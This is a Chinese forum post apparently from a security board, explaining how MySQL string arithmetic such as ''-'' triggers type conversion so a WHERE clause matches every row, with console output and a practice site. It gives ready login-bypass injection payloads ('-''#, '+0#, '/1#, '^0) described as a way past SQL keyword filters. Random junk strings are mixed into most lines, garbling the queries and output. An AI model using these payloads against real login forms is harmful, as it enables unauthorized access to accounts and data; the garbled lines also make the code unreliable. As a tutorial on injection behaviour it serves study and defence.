找回密码
 立即注册
查看: 2501|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
8 U: Q- D6 ?6 }有以下表结构: ) |& Q2 `% I& {, [7 H( Y

, n" ]/ z: c6 {& ?mysql> desc admin;
$ B& `# h" b  `0 j$ H2 `) {! V3 D+----------+--------------+------+-----+---------+----------------+
. c. g! c# Z. Q1 ?7 o9 \| Field    | Type         | Null | Key | Default | Extra          |8 ?" u& b; T  f" {
+----------+--------------+------+-----+---------+----------------++ _: x& N( g  C; Y+ J1 R
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |( c* M; B% U2 H. X
| name     | char(32)     | NO   | UNI | NULL    |                |
  N0 o3 U7 G( y) K8 U+ Z| password | char(32)     | NO   | UNI | NULL    |                |/ _. {) R1 e+ X6 _. c
+----------+--------------+------+-----+---------+----------------+$ a3 c3 J7 ^, Y" H+ [6 Z
3 rows in set (0.00 sec)- e6 b0 o+ K: ]
执行select * from admin;,成功返回所有记录内容。0 W, u8 f2 r  a1 L) T
1 X, x6 z9 \5 V; D' d
! l- V' e) @, `; R" m
+----+--------+----------------------------------+$ U' E1 v2 D" p  G6 i- @% W5 w
| id | name   | password                         |
. x2 m  A* l- H0 \+----+--------+----------------------------------+
% l" [# z' S2 k" t. U|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |, \: H4 T7 O8 p/ f5 h
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* F& d3 x0 w; e. \' f1 H2 }" a" v|  4 | n00b   | ff80e8508d39047460921792273533a4 |
5 Q( v! q" _# i. C& V' p4 z+----+--------+----------------------------------+) m/ |8 @$ C% A7 r) o- @
3 rows in set (0.00 sec)* m6 v3 [" J( A) k0 H" q8 O
执行select * from admin where name=”;,没有匹配到任何记录。 . q( n9 A- o9 |5 S& \4 C
3 A) d, J& v& K; }( J+ {; v
mysql> select * from admin where name = '';
& o9 M1 M4 F, \) a0 H/ r- W$ t7 YEmpty set (0.00 sec)
" C0 {, n9 ]1 c. \  K那么我们来执行select * from admin where name = ”-”;
* f4 h" x- K# V: N0 N$ S2 j7 x0 M$ n' w) Y, g- e
3 B* X( z3 b* [7 A! }7 v; S' M+ o, J
+----+--------+----------------------------------+1 _0 X3 k9 q( K% x% P
| id | name   | password                         |
8 ?$ E* j- {$ F, X3 ~3 m; L+----+--------+----------------------------------+
+ u4 m6 c3 [- p  A  D|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |) I9 n& S+ E) N; h  i  }. Q
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" i! e3 t" B$ K' I6 G& J- @, a
|  4 | n00b   | ff80e8508d39047460921792273533a4 |% `' a3 |' x& u& g
+----+--------+----------------------------------+
2 J' p9 r! ^4 y6 m3 rows in set, 3 warnings (0.00 sec)9 U: E6 V6 j" z3 Q8 ]/ k
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
# N1 Q: o& h" ]. z
8 ~' w" |* u0 E9 D) s5 ~mysql> show warnings;
. W9 k: U6 {- \; p6 [3 d+---------+------+------------------------------------------
7 _" N# u# d2 B5 L7 S+ T2 X| Level   | Code | Message1 F3 j; o6 c- b8 y  [
+---------+------+------------------------------------------9 k  E, i, C* h8 ~0 b$ R
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin1 t7 f# r4 A, g1 z) [- U
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
9 y/ l/ M/ P7 G; N% t| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
) N% N% u% u& S# j1 {' [  w+---------+------+------------------------------------------
- V4 d+ B. W4 a7 g- t1 B3 rows in set (0.00 sec)% B( X+ l* I* e6 d: ?5 |- o8 J4 r
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ; [9 h7 [3 ^( w! `$ e

+ x: N7 B- h% e, i8 Wmysql> select ''-'';5 E+ N. o% T% s; X3 {7 N
+-------+
/ l5 e8 v- a, D5 u6 P! {| ''-'' |
: n, g4 ?9 e1 Z. n7 }+-------+, E/ G) y/ w: }! ]! ^$ z& G
|     0 |
" C" B1 [& D6 W- Y( v& H; ?+-------+; X' ]2 d$ E- n' {5 @9 k$ ^: \9 e3 [
1 row in set (0.00 sec)0 D9 k1 {! k: \  A0 a  q. R
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
. z+ f( S4 p  o( r1 l! }; Z7 l" t3 K  C8 O$ A+ T% {
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);7 V1 j; l/ R+ i" j% q7 U  b. K$ I5 j) m
+-----------------------------------------------------+9 _8 a1 ~2 E$ ^  W. p; K
| CAST((select name from admin limit 1,1) as DECIMAL) |
: g4 s1 s* T& B2 L" P# y% j; t) I8 p+-----------------------------------------------------+' ?' c' X: X* a' O- ^8 }
|                                                   0 |
; [/ M$ @+ J+ U4 k+-----------------------------------------------------+
: U% u3 Y& r: D' s3 I. G1 row in set, 1 warning (0.00 sec)
/ o7 `  O* E, A4 p因此where语句构成了相等的条件,where 0=”=”,记录被返回。
3 C( e' a; @2 p6 N% r; O( q( P, i4 z' e
SQL注入场景: http://www.sqlzoo.net/hack/ 4 Q) C4 f& R. T, V" p; `

; ^6 \. A. j/ ^9 D" B  O
9 m, I7 X- l+ j. G! C/ \1 P: W4 j9 C+ d, [3 y' S

( C6 S+ b! _& P4 q: B/ i# w' i9 e( T如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
( S  {0 G7 p6 s0 o
3 j6 p4 \8 h" ^  N2 h那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & x# F$ R9 ^& {: o: q

2 f% F  e$ l  ^9 N* e" c
. j6 J8 g# s3 A& |9 m) M, j$ q% ^& F! f. y

* H- }- a' O- R. m仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 2 I; f' a3 W! e8 P6 j/ s
8 c3 a. u* l0 _9 `* u8 d
   ; |; F, {5 M: |) i$ A. F

, }% W! M7 V: Z% Y; `) T* N除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
# w! }0 Q) q  C0 b; E5 i# C
4 ]8 K, ~$ e1 W- Q8 A9 c
) D( j/ ?8 n1 U* P: |7 p9 |; fmysql> select ''/1;+ r9 b4 L* X: g+ ~
+------+
  V' |% p$ v1 U! z. [| ''/1 |
  H( u6 l8 s1 x. b+------+
  ~  z% ^* D: B% _! J6 s+ Y7 a|    0 |8 l" ^1 q3 O7 P- _& [: O2 ^
+------+( q* f; u6 G9 h+ e6 q" ~' L5 T/ K
1 row in set (0.00 sec)7 R' `& N0 t( N3 y# D, Z* Q6 v# h' Z
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
+ N: w6 d" u: u# M
% }" R; Y  P, c6 a利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。2 x, J  R7 n+ b) c0 A1 @" C4 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表